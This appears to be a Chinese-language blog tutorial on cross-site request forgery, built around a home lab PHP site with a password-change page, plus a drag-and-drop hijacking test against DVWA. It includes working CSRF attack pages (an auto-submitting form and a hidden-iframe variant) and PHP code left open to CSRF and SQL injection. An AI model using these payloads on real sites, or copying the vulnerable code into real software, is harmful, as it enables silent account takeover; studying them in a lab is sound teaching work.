0.前言
CRSF是建立在會話之上的,聽起來非常像XSS跨站腳本攻擊,但是實際上攻擊方式完全不同。之前在寫XSS時,提到很多網站會使用cookie來保存用戶登錄的信息,例如昨天晚上我使用完CSDN後,關閉瀏覽器,關閉電腦,今天打開CSDN時,雖然沒有填寫賬戶和密碼,也會自動登陸。
那麼CRSF可以做到什麼呢?比如A登陸了網上銀行,正在準備進行一個操作,然而有攻擊者給他發送了一個鏈接,當A點擊這條URL後,自己賬戶的很多錢就被轉走給攻擊者了。這是由於,當登陸網站或者網上銀行時,瀏覽器已經和可信節點建立了經過認證的會話,那麼在會話沒有超時的時間內,任何操作都會被當作時合法的。
1.CSRF攻擊原理
在之前搭建的網站上,新建一個ChangePassword.php,用來幫助用戶修改賬戶名和密碼:
<?php
$cookie = $_COOKIE['username'];
if (!isset($_COOKIE['username']))
{
echo 'Illegal login!<a href="login.php">please login</a>';
exit();
}
?>
<!DOCTYPE html>
<html lang='zh'>
<head>
<title>change password</title>
<meta charset="UTF-8">
</head>
<body>
<form name="input" action="ChangePwd.php" method="get">
密碼 :<br /><label>
<input type="password" name="password">
</label><br>
確認密碼 : <br /><label>
<input type="password" name="password_confirm">
</label> <br>
<input type="submit" value="確認">
</form>
</body>
</html>
ChangePwd.php用來處理提交表單的事件:
<?php
$username = $_COOKIE['username'];
if (!isset($username))
{
echo 'Illegal operation<a href="login.php">please login</a>';
exit();
} else{
$password = $_GET['password'];
$password_confirm = $_GET['password_confirm'];
if ($password != $password_confirm){
echo 'Passwords entered twice are inconsistent<a href="ChangePassword.php">please retry</a>';
exit();
}
$conn = new mysqli("localhost","phpadmin", "ppzz4869","PHP");
if ($conn->connect_error){
die("connection fail" . $conn->connect_error);
}
$sql = "select * from user where name='$username'";
$res = $conn->query($sql);
if ($res->num_rows > 0){
$sql = "update user set psw='$password' where name='$username'";
$conn->query($sql) or die("fail!");
$conn->close();
echo "Password reset complete";
} else{
echo 'Illegal operation<a href="login.php">please login</a>';
exit();
}
}
界面如下:
假設現在用戶a需要修改密碼,用戶輸入密碼以後,界面如下:
用戶A通過抓包或者觀察URL發現,當修改密碼時,向服務器發送了兩個參數,
password = a 和 password_confirm = a。那麼如果將這個鏈接發送給別人,就可以修改別人的密碼了。於是,用戶A將URL http://192.168.85.128/ChangePwd.php?password=aaa&password_confirm=aaa
發送給了用戶admin,並附上一些誘導點開的話。由於此網站有“保持登陸狀態”的設置,當用戶admin點擊了這條URL的時候,發現自己的密碼已經被修改了。
如果admin並沒有發現問題,關閉了網頁。結果下次登陸網站的時候,發現自己的賬戶密碼已經被修改了,僅僅是因爲點擊了一條URL!
而發送鏈接的用戶A,也可以輕鬆使用修改後的密碼進行登陸了。
2.CSRF攻擊場景(POST)
上面演示的方法是通過GET進行的CSRF攻擊,然而,POST方法並不會把參數顯示在URL中,是否還存在CSRF呢?
我們將之前修改密碼的頁面中get方法替換爲post方法,此時發現,修改密碼時,參數已經不會顯示在URL中了。
對於攻擊者,會查看發送的數據包,來確定在修改密碼時和服務器之間進行的交互。
分析發現,當點擊確認修改密碼時,通過POST傳了兩個參數,password和password_confirm。那麼攻擊者就可以製造一個這樣的頁面,並放在攻擊者自己的網站上http://192.168.85.129/dvwa/hackable/uploads/CRSF.html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>post data</title>
</head>
<body>
<form id="myform" method="post" action="http://192.168.85.128/ChangePwd.php">
<input type="hidden" name="password" value="aaa">
<input type="hidden" name="password_confirm" value="aaa">
</form>
<script type="application/javascript">
var myform = document.getElementById("myform");
myform.submit();
</script>
</body>
</html>
上述代碼中,構建了一個表單,然後利用javascript自動提交表單。
當用戶點擊這個鏈接時,會發現自動跳轉到修改密碼的界面,完成CSRF攻擊:
所以對於CSRF來說,POST和GET請求是沒有區別的,只是POST請求多了一些代碼。
3.靜悄悄的CSRF
然而,這樣的跳轉顯然會被受攻擊者察覺,所以攻擊者完善代碼,靜悄悄地提交數據:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>post data</title>
</head>
<body>
<iframe frameborder="0" name="myifram" width="0px" height="0px"></iframe>
<form id="myform" method="post" target="myifram" action="http://192.168.85.128/ChangePwd.php">
<input type="hidden" name="password" value="aaa">
<input type="hidden" name="password_confirm" value="aaa">
</form>
<script type="application/javascript">
var myform = document.getElementById("myform");
myform.submit();
</script>
</body>
</html>
這一段代碼的改進爲, 將請求的URL在<ifram>中打開,然而ifram卻被隱藏了,所以網頁不會有任何變化
但是密碼卻已經被修改了
4.拖拽劫持
2010年BlackHat 大會中,提到了一種“瀏覽器拖拽事件”導致的一些安全問題。目前許多瀏覽器都實現了拖拽接口,可以把一個網頁中的圖片或者文字可以拖着到另外一個網頁中,而這種拖拽並不會受到同源策略的限制。因爲,攻擊者就可以誘使用戶,從一些看不見的iframe中拖拽出一些信息,從而竊取數據。
然而,在我的實際測試中,不知道是這一類問題已經被修復還是我的操作有問題,希望看到這篇文章的人可以幫我指正。
在我個人的測試中發現,目前瀏覽器的拖拽問題和瀏覽器有關,且幾乎屏蔽了一個頁面中,非同源的拖拽問題。
測試代碼如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script>
function Init() {
const source = document.getElementById("source");
const target = document.getElementById("target");
if (source.addEventListener){
target.addEventListener("drop",DumpInfo);
} else {
target.attachEvent("ondrop", DumpInfo);
}
}
function DumpInfo(event) {
const info = document.getElementById("info");
info.innerHTML += "<span style='color:#3355cc;font-size:13px'>" + event.dataTransfer.getData('Text') + "</span><br> ";
}
</script>
</head>
<body onload="Init()">
<div id="source">
<iframe id="iframe_1" src="http://192.168.85.129/dvwa/">
</iframe>
</div>
<div>
<textarea id="target"></textarea>
</div>
<div id="info" style="position:absolute;background-color:#e0e0e0;font-weight:bold; top:600px;">
</div>
</body>
</html>
在上述代碼中,建立了一個iframe,在其中打開http://192.168.85.129/dvwa/。並建立一個testarea,監聽drop事件,如果有拖着的東西被放在了testarea中,就會在下面的info中顯示出來。
在chrome瀏覽器和IE瀏覽器中,無法進行拖拽操作,拖拽進入testarea後,沒有任何反應。
而火狐瀏覽器則是會把拖拽的信息直接用默認搜索引擎進行搜索
然後我又嘗試,將iframe中打開的同源網頁,修改test.html:
<div id="source">
<iframe id="iframe_1" src="http://192.168.85.128">
</iframe>
</div>
此時,無論ie,chrome或是火狐瀏覽器都可以進行拖拽操作了。
根據實驗現象的推論:目前瀏覽器的拖拽,對同源內容不做限制,但是對非同源內容做出來限制?
希望錯誤地方可以被指正。